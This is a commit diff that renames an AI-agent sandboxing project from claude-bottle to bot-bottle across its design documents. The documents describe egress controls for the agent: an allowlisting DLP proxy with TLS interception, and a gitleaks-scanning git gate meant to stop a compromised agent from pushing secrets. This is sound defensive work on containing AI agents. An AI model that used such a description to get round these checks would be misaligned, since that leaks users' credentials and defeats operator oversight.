refactor!: rename project to bot-bottle
Assisted-by: Codex
This commit is contained in:
+1
-1
@@ -24,7 +24,7 @@ Type "clear"
|
||||
Enter
|
||||
Show
|
||||
|
||||
# Real cli.py invocation — what a user with claude-bottle.json in cwd
|
||||
# Real cli.py invocation — what a user with bot-bottle.json in cwd
|
||||
# would type. The bottle declares one allowlist (only baked-in
|
||||
# defaults), one git upstream (unreachable on purpose so gitleaks runs
|
||||
# before the gate would forward), and a FAKE_TOKEN env var shaped like
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
## Summary
|
||||
|
||||
Run pipelock as a sidecar container on each claude-bottle agent's only
|
||||
Run pipelock as a sidecar container on each bot-bottle agent's only
|
||||
egress route, scanning all outbound HTTP for hostname allowlist violations
|
||||
and DLP matches.
|
||||
|
||||
@@ -95,18 +95,18 @@ The feature is **done** when all of the following ship:
|
||||
|
||||
### New services / components
|
||||
|
||||
Two new modules under `claude_bottle/`:
|
||||
Two new modules under `bot_bottle/`:
|
||||
|
||||
- **`claude_bottle/pipelock.py`** — pipelock-specific logic. Generates
|
||||
- **`bot_bottle/pipelock.py`** — pipelock-specific logic. Generates
|
||||
the per-bottle YAML config from the manifest's `egress` block plus
|
||||
baked-in defaults; copies the YAML into the sidecar via `docker cp`;
|
||||
starts and stops the sidecar container; resolves the allowlist for
|
||||
display in the preflight.
|
||||
- **`claude_bottle/network.py`** — Docker network plumbing. Creates the
|
||||
per-agent `--internal` network (named `claude-bottle-net-<slug>` with
|
||||
- **`bot_bottle/network.py`** — Docker network plumbing. Creates the
|
||||
per-agent `--internal` network (named `bot-bottle-net-<slug>` with
|
||||
the same slug-and-suffix scheme used for container names), attaches
|
||||
the agent and sidecar to it, removes it on teardown. Kept separate
|
||||
from `claude_bottle/docker.py` so a future PRD can add non-pipelock
|
||||
from `bot_bottle/docker.py` so a future PRD can add non-pipelock
|
||||
network controls without entangling them with pipelock specifics.
|
||||
|
||||
This split mirrors the existing per-concern module pattern
|
||||
@@ -114,7 +114,7 @@ This split mirrors the existing per-concern module pattern
|
||||
|
||||
### Existing code touched
|
||||
|
||||
- **`claude_bottle/cli/start.py`** — wire the new lifecycle into the
|
||||
- **`bot_bottle/cli/start.py`** — wire the new lifecycle into the
|
||||
`start` subcommand: create the internal network, launch the pipelock
|
||||
sidecar, then launch the agent container with `HTTPS_PROXY` /
|
||||
`HTTP_PROXY` set to the sidecar's service name. Add the resolved
|
||||
@@ -129,9 +129,9 @@ This split mirrors the existing per-concern module pattern
|
||||
the image. This keeps the image agnostic to whether a sidecar is in use
|
||||
(useful if a future bottle definition opts out of the proxy for testing).
|
||||
|
||||
`claude_bottle/docker.py` may grow one or two helpers if there is a
|
||||
`bot_bottle/docker.py` may grow one or two helpers if there is a
|
||||
clean place for shared primitives, but the network-specific helpers
|
||||
live in `claude_bottle/network.py`. Decide during implementation; not a
|
||||
live in `bot_bottle/network.py`. Decide during implementation; not a
|
||||
contract.
|
||||
|
||||
### Data model changes
|
||||
@@ -176,7 +176,7 @@ bottle share the same allowlist.
|
||||
|
||||
- **Pipelock binary** is pulled from
|
||||
`ghcr.io/luckypipewrench/pipelock@sha256:<digest>`. The digest is
|
||||
pinned in `claude_bottle/pipelock.py` (or a sibling constants module)
|
||||
pinned in `bot_bottle/pipelock.py` (or a sibling constants module)
|
||||
and bumped deliberately, mirroring the claude-code version pinning
|
||||
pattern in `Dockerfile`.
|
||||
- No new host-side runtimes. The pipelock image is the only new
|
||||
@@ -192,8 +192,8 @@ bottle share the same allowlist.
|
||||
(proxy + 48 default DLP patterns + subdomain entropy + sidecar
|
||||
topology) is expected to be core-only, but this should be confirmed.
|
||||
- **Where to put the digest pin.** A constant in
|
||||
`claude_bottle/pipelock.py` is the lowest-friction option; a separate
|
||||
`claude_bottle/versions.py` (or similar) may be cleaner once there
|
||||
`bot_bottle/pipelock.py` is the lowest-friction option; a separate
|
||||
`bot_bottle/versions.py` (or similar) may be cleaner once there
|
||||
are multiple pinned dependencies. Decide during implementation.
|
||||
- **Per-agent overrides.** The PRD scopes egress to the bottle. If a
|
||||
later use case calls for tightening (not loosening) the allowlist for
|
||||
|
||||
@@ -14,7 +14,7 @@ second backend ships in this PRD.
|
||||
## Problem
|
||||
|
||||
Today, "how to launch a bottle" is spread across roughly six modules
|
||||
(`claude_bottle/cli/start.py`, `pipelock.py`, `network.py`, `ssh.py`,
|
||||
(`bot_bottle/cli/start.py`, `pipelock.py`, `network.py`, `ssh.py`,
|
||||
`skills.py`, `docker.py`), each shelling out to `docker` directly via
|
||||
`subprocess.run(["docker", ...])`. That coupling means:
|
||||
|
||||
@@ -57,22 +57,22 @@ The feature works when all of the following are observable:
|
||||
|
||||
The feature is **done** when all of the following ship:
|
||||
|
||||
- A new `claude_bottle/backend/` package exists with abstract base
|
||||
- A new `bot_bottle/backend/` package exists with abstract base
|
||||
classes (`BottleBackend`, `BottlePlan`, `BottleCleanupPlan`,
|
||||
`Bottle`) plus a `claude_bottle/backend/docker/` subpackage
|
||||
`Bottle`) plus a `bot_bottle/backend/docker/` subpackage
|
||||
containing the `DockerBottleBackend` implementation.
|
||||
- `DockerBottleBackend.launch(plan)` returns a context manager
|
||||
yielding a `Bottle` handle exposing `exec_claude(argv, *, tty=True)`,
|
||||
`cp_in(host, ctr)`, and teardown on context exit.
|
||||
- Every existing `subprocess.run(["docker", ...])` call in
|
||||
`cli/start.py`, `pipelock.py`, `network.py`, `ssh.py`, and
|
||||
`skills.py` either moves into `claude_bottle/backend/docker/` or is
|
||||
`skills.py` either moves into `bot_bottle/backend/docker/` or is
|
||||
called from it. No top-level CLI code references `docker` directly.
|
||||
- `bottles[].runtime` is removed from the manifest schema, the
|
||||
dataclass in `manifest.py`, the example manifest, and any README /
|
||||
docs references. `require_runsc()` in the old top-level
|
||||
`claude_bottle/docker.py` is deleted.
|
||||
- A single env var, `CLAUDE_BOTTLE_BACKEND` (default `"docker"`),
|
||||
`bot_bottle/docker.py` is deleted.
|
||||
- A single env var, `BOT_BOTTLE_BACKEND` (default `"docker"`),
|
||||
selects the backend. Unknown values die at startup with a list of
|
||||
known backends.
|
||||
- The y/N preflight in `cli.py` includes the resolved Docker runtime
|
||||
@@ -97,8 +97,8 @@ The feature is **done** when all of the following ship:
|
||||
|
||||
### In scope
|
||||
|
||||
- New `claude_bottle/backend/` package containing the abstract types
|
||||
and the registry, plus a `claude_bottle/backend/docker/` subpackage
|
||||
- New `bot_bottle/backend/` package containing the abstract types
|
||||
and the registry, plus a `bot_bottle/backend/docker/` subpackage
|
||||
containing the Docker implementation.
|
||||
- The `Bottle`, `BottleBackend`, `BottlePlan`, and `BottleCleanupPlan`
|
||||
abstract base classes; `BottleSpec` data carrier; and
|
||||
@@ -136,10 +136,10 @@ The feature is **done** when all of the following ship:
|
||||
|
||||
### New services / components
|
||||
|
||||
A new package, `claude_bottle/backend/`, with an abstract base layer
|
||||
A new package, `bot_bottle/backend/`, with an abstract base layer
|
||||
and a Docker subpackage:
|
||||
|
||||
- **`claude_bottle/backend/__init__.py`** — Defines the abstract base
|
||||
- **`bot_bottle/backend/__init__.py`** — Defines the abstract base
|
||||
classes and the backend registry. `BottleSpec` carries the
|
||||
CLI-supplied intent; the abstract `BottlePlan` and
|
||||
`BottleCleanupPlan` are the prepared-but-not-launched outputs of
|
||||
@@ -165,14 +165,14 @@ and a Docker subpackage:
|
||||
`provision_git`); subclasses implement those four rather than
|
||||
overriding `provision` itself.
|
||||
|
||||
Selection reads `CLAUDE_BOTTLE_BACKEND` (default `"docker"`).
|
||||
Selection reads `BOT_BOTTLE_BACKEND` (default `"docker"`).
|
||||
Unknown values call `die()` with the list of known backends:
|
||||
|
||||
```python
|
||||
def get_bottle_backend() -> BottleBackend: ...
|
||||
```
|
||||
|
||||
- **`claude_bottle/backend/docker/`** — Subpackage with the Docker
|
||||
- **`bot_bottle/backend/docker/`** — Subpackage with the Docker
|
||||
implementation, split into:
|
||||
- `backend.py` — `DockerBottleBackend`, owning all five abstract
|
||||
methods (`prepare`, `launch`, `prepare_cleanup`, `cleanup`,
|
||||
@@ -196,49 +196,49 @@ and a Docker subpackage:
|
||||
- `pipelock.py` — `DockerPipelockProxy` (the sidecar start/stop
|
||||
lifecycle) and Docker-specific naming helpers. The backend-neutral
|
||||
yaml + allowlist resolution stays in the top-level
|
||||
`claude_bottle/pipelock.py`.
|
||||
`bot_bottle/pipelock.py`.
|
||||
- `util.py` — Docker-specific helpers (slugify, image/container
|
||||
existence checks, `runsc_available`).
|
||||
|
||||
### Existing code touched
|
||||
|
||||
- **`claude_bottle/cli/start.py`** — replace the inline docker
|
||||
- **`bot_bottle/cli/start.py`** — replace the inline docker
|
||||
orchestration with `backend = get_bottle_backend(); plan =
|
||||
backend.prepare(spec, stage_dir=...); with backend.launch(plan) as
|
||||
bottle: bottle.exec_claude(...)`. The y/N preflight is rendered by
|
||||
`plan.print(...)`.
|
||||
- **`claude_bottle/manifest.py`** — drop the `runtime` field from the
|
||||
- **`bot_bottle/manifest.py`** — drop the `runtime` field from the
|
||||
Bottle dataclass and its validation. Existing manifests with
|
||||
`runtime: "runsc"` produce a clear "no longer supported; gVisor is
|
||||
now auto-detected by the backend; remove the 'runtime' field" error.
|
||||
- **`claude_bottle/docker.py`** — module deleted. `require_runsc()`,
|
||||
- **`bot_bottle/docker.py`** — module deleted. `require_runsc()`,
|
||||
`slugify()`, `image_exists()`, `container_exists()`, the
|
||||
`build_image` / `build_image_with_cwd` helpers, and `require_docker`
|
||||
all migrate into `claude_bottle/backend/docker/util.py` (or
|
||||
all migrate into `bot_bottle/backend/docker/util.py` (or
|
||||
`backend.py`).
|
||||
- **`claude_bottle/pipelock.py`** — keeps the allowlist resolution and
|
||||
- **`bot_bottle/pipelock.py`** — keeps the allowlist resolution and
|
||||
YAML generation. Becomes a thin abstract class (`PipelockProxy`)
|
||||
exposing `prepare` (writes the yaml) plus abstract `start` / `stop`
|
||||
methods. The Docker-specific subclass `DockerPipelockProxy` lives
|
||||
under `backend/docker/pipelock.py`.
|
||||
- **`claude_bottle/network.py`** — folds entirely into
|
||||
- **`bot_bottle/network.py`** — folds entirely into
|
||||
`backend/docker/network.py`. No top-level network module remains.
|
||||
- **`claude_bottle/ssh.py`** and **`claude_bottle/skills.py`** —
|
||||
- **`bot_bottle/ssh.py`** and **`bot_bottle/skills.py`** —
|
||||
absorbed into `DockerBottleBackend` as `provision_ssh` and
|
||||
`provision_skills`. The host-side file-tree generation stays as
|
||||
private helpers on the backend class.
|
||||
- **`claude_bottle/env.py`** (renamed from `env_resolve.py`) —
|
||||
- **`bot_bottle/env.py`** (renamed from `env_resolve.py`) —
|
||||
`resolve_env(manifest, agent) -> ResolvedEnv` returns
|
||||
`forwarded: list[str]` (names whose values were exported into
|
||||
`os.environ` for inheritance) and `literals: dict[str, str]` (name
|
||||
→ verbatim value). The Docker backend translates the result into
|
||||
`--env-file` content + `-e NAME` argv fragments.
|
||||
- **`claude_bottle/util.py`** — top-level cross-backend helpers
|
||||
- **`bot_bottle/util.py`** — top-level cross-backend helpers
|
||||
(`expand_tilde`, `is_ipv4_literal`). Backend-specific helpers live
|
||||
in their backend's `util.py`.
|
||||
- **`claude-bottle.example.json`** — remove the `runtime` field from
|
||||
- **`bot-bottle.example.json`** — remove the `runtime` field from
|
||||
any example bottle.
|
||||
- **`README.md`** — note `CLAUDE_BOTTLE_BACKEND` and the runsc
|
||||
- **`README.md`** — note `BOT_BOTTLE_BACKEND` and the runsc
|
||||
auto-detect; remove any mention of `runtime: "runsc"` as a manifest
|
||||
field.
|
||||
|
||||
|
||||
@@ -6,12 +6,12 @@
|
||||
|
||||
## Summary
|
||||
|
||||
Break `claude_bottle/backend/docker/backend.py` (664 lines) apart by
|
||||
Break `bot_bottle/backend/docker/backend.py` (664 lines) apart by
|
||||
moving the four provisioner methods — `provision_prompt`,
|
||||
`provision_skills`, `provision_ssh`, `provision_git` — out of
|
||||
`DockerBottleBackend` into their own modules under
|
||||
`claude_bottle/backend/docker/provision/`. The abstract base in
|
||||
`claude_bottle/backend/__init__.py` keeps the same four-method
|
||||
`bot_bottle/backend/docker/provision/`. The abstract base in
|
||||
`bot_bottle/backend/__init__.py` keeps the same four-method
|
||||
contract; only the Docker implementation changes shape.
|
||||
|
||||
## Problem
|
||||
@@ -56,7 +56,7 @@ The feature works when all of the following are observable:
|
||||
|
||||
The feature is **done** when all of the following ship:
|
||||
|
||||
- A new `claude_bottle/backend/docker/provision/` subpackage exists
|
||||
- A new `bot_bottle/backend/docker/provision/` subpackage exists
|
||||
with one module per provisioner: `prompt.py`, `skills.py`, `ssh.py`,
|
||||
`git.py`. Each exports a single top-level function taking
|
||||
`(plan: DockerBottlePlan, target: str)` and returning the same type
|
||||
@@ -66,7 +66,7 @@ The feature is **done** when all of the following ship:
|
||||
`provision_ssh` / `provision_git` each become one-line delegations
|
||||
to the new module functions.
|
||||
- The abstract `BottleBackend.provision_*` signatures in
|
||||
`claude_bottle/backend/__init__.py` are unchanged. The
|
||||
`bot_bottle/backend/__init__.py` are unchanged. The
|
||||
`BottleBackend.provision` orchestration in the base class is
|
||||
unchanged.
|
||||
- No top-level CLI code or other backend gains a direct import of the
|
||||
@@ -99,7 +99,7 @@ The feature is **done** when all of the following ship:
|
||||
|
||||
### In scope
|
||||
|
||||
- New `claude_bottle/backend/docker/provision/` subpackage with
|
||||
- New `bot_bottle/backend/docker/provision/` subpackage with
|
||||
`__init__.py`, `prompt.py`, `skills.py`, `ssh.py`, `git.py`.
|
||||
- Moving the four method bodies out of
|
||||
`DockerBottleBackend` into the new modules verbatim, adjusting only
|
||||
@@ -132,7 +132,7 @@ The feature is **done** when all of the following ship:
|
||||
### New layout
|
||||
|
||||
```
|
||||
claude_bottle/backend/docker/
|
||||
bot_bottle/backend/docker/
|
||||
backend.py # DockerBottleBackend (slimmer)
|
||||
bottle.py
|
||||
bottle_plan.py
|
||||
@@ -199,13 +199,13 @@ take the concrete type and skip re-checking.
|
||||
|
||||
### Existing code touched
|
||||
|
||||
- **`claude_bottle/backend/docker/backend.py`** — four method
|
||||
- **`bot_bottle/backend/docker/backend.py`** — four method
|
||||
bodies move out; method definitions stay as one-line delegations.
|
||||
Imports for `pipelock_proxy_host_port`, `expand_tilde`, etc., that
|
||||
are only used by the moved bodies migrate with them.
|
||||
- **`claude_bottle/backend/docker/__init__.py`** — no change. The
|
||||
- **`bot_bottle/backend/docker/__init__.py`** — no change. The
|
||||
public surface (`DockerBottleBackend`) is unchanged.
|
||||
- **`claude_bottle/backend/__init__.py`** — no change.
|
||||
- **`bot_bottle/backend/__init__.py`** — no change.
|
||||
- **`tests/`** — no expected change. Existing tests exercise the
|
||||
backend via `DockerBottleBackend` or the CLI surface; they don't
|
||||
reach into provisioners directly. Verify after the move and only
|
||||
|
||||
@@ -75,7 +75,7 @@ The feature is **done** when all of the following ship:
|
||||
sidecar (read-only) so the running pipelock can read its CA.
|
||||
- `BottleBackend.provision_ca` (new) copies the CA public cert
|
||||
into the agent at
|
||||
`/usr/local/share/ca-certificates/claude-bottle-mitm.crt`, runs
|
||||
`/usr/local/share/ca-certificates/bot-bottle-mitm.crt`, runs
|
||||
`update-ca-certificates`, and sets the `NODE_EXTRA_CA_CERTS` /
|
||||
`SSL_CERT_FILE` / `REQUESTS_CA_BUNDLE` env trio on the agent
|
||||
container's runtime env. Default no-op on the abstract base so
|
||||
@@ -122,14 +122,14 @@ The feature is **done** when all of the following ship:
|
||||
|
||||
### In scope
|
||||
|
||||
- **`claude_bottle/pipelock.py`** changes:
|
||||
- **`bot_bottle/pipelock.py`** changes:
|
||||
- Extend `pipelock_build_config` to include
|
||||
`tls_interception: { enabled: true, ca_cert: <path>, ca_key:
|
||||
<path> }`. Paths are populated from the plan; the function's
|
||||
signature grows a `cert_path` / `key_path` pair or reads them
|
||||
off `Bottle` once they're stored.
|
||||
- Extend `pipelock_render_yaml` to emit the new block.
|
||||
- **`claude_bottle/backend/docker/pipelock.py`** changes:
|
||||
- **`bot_bottle/backend/docker/pipelock.py`** changes:
|
||||
- New helper `pipelock_tls_init(stage_dir)` runs the upstream
|
||||
image as a one-shot:
|
||||
`docker run --rm -v <stage>:/h -e PIPELOCK_HOME=/h pipelock tls init`,
|
||||
@@ -143,31 +143,31 @@ The feature is **done** when all of the following ship:
|
||||
config. If pipelock's image runs as non-root, a `docker exec
|
||||
-u 0 chown pipelock:pipelock /etc/pipelock/ca*.pem` lands
|
||||
between the `cp` and the `start`.
|
||||
- **`claude_bottle/backend/__init__.py`**: new abstract method
|
||||
- **`bot_bottle/backend/__init__.py`**: new abstract method
|
||||
`provision_ca(plan, target)` on `BottleBackend`, default no-op.
|
||||
`BottleBackend.provision` orchestrates `ca → prompt → skills →
|
||||
ssh → git`.
|
||||
- **`claude_bottle/backend/docker/provision/ca.py`** (new):
|
||||
- **`bot_bottle/backend/docker/provision/ca.py`** (new):
|
||||
- Reads the cert from `stage_dir` (already written by prepare).
|
||||
- `docker cp` into the agent.
|
||||
- `docker exec -u 0 ... chmod 644 ...` + `update-ca-certificates`.
|
||||
- Computes the SHA-256 fingerprint with stdlib (`ssl` +
|
||||
`hashlib`), emits one stderr log line.
|
||||
- **`claude_bottle/backend/docker/launch.py`**:
|
||||
- **`bot_bottle/backend/docker/launch.py`**:
|
||||
- Three new `-e` flags on the agent's `docker run`:
|
||||
`NODE_EXTRA_CA_CERTS=/usr/local/share/ca-certificates/claude-bottle-mitm.crt`,
|
||||
`NODE_EXTRA_CA_CERTS=/usr/local/share/ca-certificates/bot-bottle-mitm.crt`,
|
||||
`SSL_CERT_FILE=/etc/ssl/certs/ca-certificates.crt`,
|
||||
`REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt`.
|
||||
- `HTTPS_PROXY` / `HTTP_PROXY` continue to point at pipelock
|
||||
(unchanged from PRD 0001 — the mitmproxy detour in PR #8 is
|
||||
abandoned).
|
||||
- **`claude_bottle/backend/docker/bottle_plan.py`**:
|
||||
- **`bot_bottle/backend/docker/bottle_plan.py`**:
|
||||
- One new `info(...)` line in `print()` noting TLS interception
|
||||
is on.
|
||||
- `to_dict()` gains an `egress.tls_interception: { enabled:
|
||||
true, ca_fingerprint: null }` block. Reserved for future
|
||||
population.
|
||||
- **`claude_bottle/backend/docker/prepare.py`**: call
|
||||
- **`bot_bottle/backend/docker/prepare.py`**: call
|
||||
`pipelock_tls_init(stage_dir)` and write the resolved cert/key
|
||||
paths onto the plan (either on the existing `proxy_plan` field
|
||||
or on the parent `DockerBottlePlan`).
|
||||
@@ -221,7 +221,7 @@ generated at prepare time.
|
||||
the one-shot generation step. The rendered YAML references
|
||||
the in-container paths.
|
||||
- **Bottle install.** `provision_ca` (Docker impl) does
|
||||
`docker cp <stage>/ca.pem agent:/usr/local/share/ca-certificates/claude-bottle-mitm.crt`,
|
||||
`docker cp <stage>/ca.pem agent:/usr/local/share/ca-certificates/bot-bottle-mitm.crt`,
|
||||
then `update-ca-certificates`. The CA env trio is set at
|
||||
`docker run -e` time (Docker propagates run-time env into
|
||||
`docker exec`).
|
||||
@@ -235,7 +235,7 @@ generated at prepare time.
|
||||
`stage_dir`. CA dies with both, in that order, so the sidecar
|
||||
is never reading a deleted mount on shutdown.
|
||||
- **Fingerprint.** Computed via stdlib in `provision_ca` and
|
||||
logged once to stderr (`claude-bottle: mitm ca fingerprint:
|
||||
logged once to stderr (`bot-bottle: mitm ca fingerprint:
|
||||
sha256:<hex>…`). The private key never appears in any log.
|
||||
|
||||
### Data model changes
|
||||
@@ -248,18 +248,18 @@ always null at dry-run because the CA doesn't exist yet.
|
||||
|
||||
Surgical, all on the existing pipelock path:
|
||||
|
||||
- `claude_bottle/pipelock.py` — config builder + YAML renderer.
|
||||
- `claude_bottle/backend/__init__.py` — abstract `provision_ca`.
|
||||
- `claude_bottle/backend/docker/pipelock.py` — `tls init` helper,
|
||||
- `bot_bottle/pipelock.py` — config builder + YAML renderer.
|
||||
- `bot_bottle/backend/__init__.py` — abstract `provision_ca`.
|
||||
- `bot_bottle/backend/docker/pipelock.py` — `tls init` helper,
|
||||
sidecar volume mount.
|
||||
- `claude_bottle/backend/docker/prepare.py` — CA paths on plan.
|
||||
- `claude_bottle/backend/docker/launch.py` — CA env trio on agent.
|
||||
- `claude_bottle/backend/docker/backend.py` — `provision_ca`
|
||||
- `bot_bottle/backend/docker/prepare.py` — CA paths on plan.
|
||||
- `bot_bottle/backend/docker/launch.py` — CA env trio on agent.
|
||||
- `bot_bottle/backend/docker/backend.py` — `provision_ca`
|
||||
dispatch + thread `self._proxy` through prepare/launch unchanged
|
||||
shape.
|
||||
- `claude_bottle/backend/docker/bottle_plan.py` — preflight
|
||||
- `bot_bottle/backend/docker/bottle_plan.py` — preflight
|
||||
rendering.
|
||||
- `claude_bottle/backend/docker/provision/ca.py` (new).
|
||||
- `bot_bottle/backend/docker/provision/ca.py` (new).
|
||||
|
||||
Net diff is meaningfully smaller than PR #8 because pipelock
|
||||
already does the work — no addon, no second sidecar, no second
|
||||
|
||||
@@ -95,14 +95,14 @@ back to green is the test.
|
||||
|
||||
Mirror the pipelock layout:
|
||||
|
||||
- **`claude_bottle/ssh_gate.py`** (new): abstract `SSHGate` +
|
||||
- **`bot_bottle/ssh_gate.py`** (new): abstract `SSHGate` +
|
||||
`SSHGatePlan` dataclass. `prepare` is host-side / side-effect-free
|
||||
on docker; renders the forwarder config under `stage_dir`.
|
||||
- **`claude_bottle/backend/docker/ssh_gate.py`** (new):
|
||||
- **`bot_bottle/backend/docker/ssh_gate.py`** (new):
|
||||
`DockerSSHGate` concrete subclass — `start` does `docker create`
|
||||
on the internal network, copies the config in, attaches the
|
||||
egress network, `docker start`. `stop` is idempotent `docker rm
|
||||
-f`. Container name: `claude-bottle-ssh-gate-<slug>`.
|
||||
-f`. Container name: `bot-bottle-ssh-gate-<slug>`.
|
||||
|
||||
Forwarder image: `alpine/socat`, pinned by digest. Must be
|
||||
self-sufficient at boot (no apk/apt pulls on first run) because
|
||||
@@ -126,7 +126,7 @@ rejected at prepare time. One container, N listeners, N upstreams.
|
||||
|
||||
### Existing code touched
|
||||
|
||||
- **`claude_bottle/backend/docker/provision/ssh.py`**: drop the
|
||||
- **`bot_bottle/backend/docker/provision/ssh.py`**: drop the
|
||||
`ProxyCommand socat - PROXY:...` plumbing and the
|
||||
`pipelock_proxy_host_port` import. The rendered `~/.ssh/config`
|
||||
block per entry becomes:
|
||||
@@ -140,19 +140,19 @@ rejected at prepare time. One container, N listeners, N upstreams.
|
||||
`known_hosts` entries are keyed off `<name>` and the new
|
||||
`[<gate-container>]:<listen-port>` form so OpenSSH's strict
|
||||
host-key checking still matches.
|
||||
- **`claude_bottle/pipelock.py`**: delete
|
||||
- **`bot_bottle/pipelock.py`**: delete
|
||||
`pipelock_bottle_ssh_hostnames`, `pipelock_bottle_ssh_trusted_domains`,
|
||||
`pipelock_bottle_ssh_ip_cidrs`, and the calls into them from
|
||||
`pipelock_effective_allowlist` and `pipelock_build_config`. The
|
||||
effective allowlist becomes baked-defaults ∪ `bottle.egress.allowlist`.
|
||||
- **`claude_bottle/backend/docker/backend.py`**: instantiate
|
||||
- **`bot_bottle/backend/docker/backend.py`**: instantiate
|
||||
`DockerSSHGate` alongside `DockerPipelockProxy`; thread its
|
||||
`prepare` / `start` / `stop` through `resolve_plan` / `launch`.
|
||||
- **`claude_bottle/backend/docker/launch.py`**: add gate start /
|
||||
- **`bot_bottle/backend/docker/launch.py`**: add gate start /
|
||||
stop to the `ExitStack` in the right order — gate must be up
|
||||
before `provision_ssh` runs so the agent can dial it on first
|
||||
boot.
|
||||
- **`claude_bottle/backend/docker/bottle_plan.py`**: new
|
||||
- **`bot_bottle/backend/docker/bottle_plan.py`**: new
|
||||
`SSHGatePlan` field on `DockerBottlePlan`; preflight rendering
|
||||
surfaces the gate sidecar (name, per-entry listen ports,
|
||||
upstream `Hostname:Port` targets).
|
||||
@@ -165,7 +165,7 @@ rejected at prepare time. One container, N listeners, N upstreams.
|
||||
### Data model changes
|
||||
|
||||
None. `bottle.ssh` schema is unchanged; one new internal plan
|
||||
dataclass (`SSHGatePlan`) under `claude_bottle/ssh_gate.py`.
|
||||
dataclass (`SSHGatePlan`) under `bot_bottle/ssh_gate.py`.
|
||||
|
||||
### External dependencies
|
||||
|
||||
@@ -202,7 +202,7 @@ dataclass (`SSHGatePlan`) under `claude_bottle/ssh_gate.py`.
|
||||
- PRD 0006: pipelock native TLS interception — the change that
|
||||
surfaced this regression by making pipelock incompatible with
|
||||
SSH-over-CONNECT.
|
||||
- `claude_bottle/backend/docker/provision/ssh.py` — current SSH
|
||||
- `bot_bottle/backend/docker/provision/ssh.py` — current SSH
|
||||
provisioning that this PRD rewrites.
|
||||
- `claude_bottle/pipelock.py` — current pipelock config builder
|
||||
- `bot_bottle/pipelock.py` — current pipelock config builder
|
||||
that gains the `bottle.ssh`-derived fields this PRD removes.
|
||||
|
||||
+10
-10
@@ -26,7 +26,7 @@ entry and pushes straight at gitea/github with ssh-gate doing dumb
|
||||
L4 forwarding. There is no boundary between "the agent thinks this
|
||||
commit is fine" and "the secret hits an external remote." If a
|
||||
compromised or careless agent stages a `.env`, slips a token into
|
||||
a fixture, or commits the `CLAUDE_BOTTLE_OAUTH_TOKEN` itself, `git
|
||||
a fixture, or commits the `BOT_BOTTLE_OAUTH_TOKEN` itself, `git
|
||||
push` ships it.
|
||||
|
||||
Host-side pre-commit / pre-push hooks are the usual defense, but
|
||||
@@ -131,16 +131,16 @@ for a declared upstream:
|
||||
|
||||
Mirror the existing sidecar layout:
|
||||
|
||||
- **`claude_bottle/git_gate.py`** (new): abstract `GitGate` +
|
||||
- **`bot_bottle/git_gate.py`** (new): abstract `GitGate` +
|
||||
`GitGatePlan` dataclass. `prepare` is host-side / side-effect-
|
||||
free on docker; renders the per-upstream config and stages the
|
||||
push credentials under `stage_dir`.
|
||||
- **`claude_bottle/backend/docker/git_gate.py`** (new):
|
||||
- **`bot_bottle/backend/docker/git_gate.py`** (new):
|
||||
`DockerGitGate` concrete subclass. `start` does `docker create`
|
||||
on the internal network, copies in the bare-repo skeleton, the
|
||||
hook script, and per-upstream credentials, then `docker start`.
|
||||
`stop` is idempotent `docker rm -f`. Container name:
|
||||
`claude-bottle-git-gate-<slug>`.
|
||||
`bot-bottle-git-gate-<slug>`.
|
||||
|
||||
Gate image: `git-daemon` + `openssh-client` over a
|
||||
`zricethezav/gitleaks` base (alpine + gitleaks), pinned by digest.
|
||||
@@ -173,21 +173,21 @@ operation.
|
||||
|
||||
### Existing code touched
|
||||
|
||||
- **`claude_bottle/manifest.py`**: parse and validate the new
|
||||
- **`bot_bottle/manifest.py`**: parse and validate the new
|
||||
`bottle.git` block; reject `bottle.ssh` entries whose upstream
|
||||
is also claimed by a `bottle.git` upstream (one path per
|
||||
remote, no shadow route).
|
||||
- **`claude_bottle/backend/docker/provision/git.py`** (new) or an
|
||||
- **`bot_bottle/backend/docker/provision/git.py`** (new) or an
|
||||
extension of the ssh provisioner: render the `insteadOf` config
|
||||
and any extra `~/.gitconfig` plumbing.
|
||||
- **`claude_bottle/backend/docker/backend.py`**: instantiate
|
||||
- **`bot_bottle/backend/docker/backend.py`**: instantiate
|
||||
`DockerGitGate` alongside `DockerPipelockProxy` and
|
||||
`DockerSSHGate`; thread its `prepare` / `start` / `stop`
|
||||
through `resolve_plan` / `launch`.
|
||||
- **`claude_bottle/backend/docker/launch.py`**: add gate start /
|
||||
- **`bot_bottle/backend/docker/launch.py`**: add gate start /
|
||||
stop to the `ExitStack` so the gate is up before any
|
||||
provisioner that writes the agent's `~/.gitconfig`.
|
||||
- **`claude_bottle/backend/docker/bottle_plan.py`**: new
|
||||
- **`bot_bottle/backend/docker/bottle_plan.py`**: new
|
||||
`GitGatePlan` field on `DockerBottlePlan`; preflight rendering
|
||||
surfaces the gate sidecar (name, per-upstream local paths,
|
||||
upstream real URLs, which credential is in use).
|
||||
@@ -249,6 +249,6 @@ exposes it as, and the credential the gate uses to push upstream
|
||||
- PRD 0007: SSH egress gate — the L4 SSH forwarder this PRD
|
||||
sits alongside; explicitly *not* the place to add
|
||||
git-protocol awareness.
|
||||
- `claude_bottle/ssh_gate.py` / `claude_bottle/pipelock.py` —
|
||||
- `bot_bottle/ssh_gate.py` / `bot_bottle/pipelock.py` —
|
||||
existing sidecar abstractions to mirror.
|
||||
- gitleaks: <https://github.com/gitleaks/gitleaks>
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
|
||||
Delete the ssh-gate sidecar and the `bottle.ssh` manifest field.
|
||||
Git-gate (PRD 0008) covers every current SSH use case in
|
||||
claude-bottle: each declared upstream gets a per-bottle gate
|
||||
bot-bottle: each declared upstream gets a per-bottle gate
|
||||
with gitleaks scanning, an `insteadOf` rewrite that captures
|
||||
push / fetch / clone / pull / ls-remote, and credential
|
||||
isolation from the agent. ssh-gate is now redundant L4
|
||||
@@ -76,11 +76,11 @@ the unused path.
|
||||
`_validate_no_shadow_route`. Add an explicit branch in
|
||||
`Bottle.from_dict` that dies on a `ssh` key with a one-line
|
||||
"move this to `bottle.git` (see PRD 0008)" hint.
|
||||
- **Sidecar.** Delete `claude_bottle/ssh_gate.py` and
|
||||
`claude_bottle/backend/docker/ssh_gate.py`. Drop the socat
|
||||
- **Sidecar.** Delete `bot_bottle/ssh_gate.py` and
|
||||
`bot_bottle/backend/docker/ssh_gate.py`. Drop the socat
|
||||
image build path.
|
||||
- **Provisioner.** Delete
|
||||
`claude_bottle/backend/docker/provision/ssh.py` and its
|
||||
`bot_bottle/backend/docker/provision/ssh.py` and its
|
||||
`~/.ssh/config` render.
|
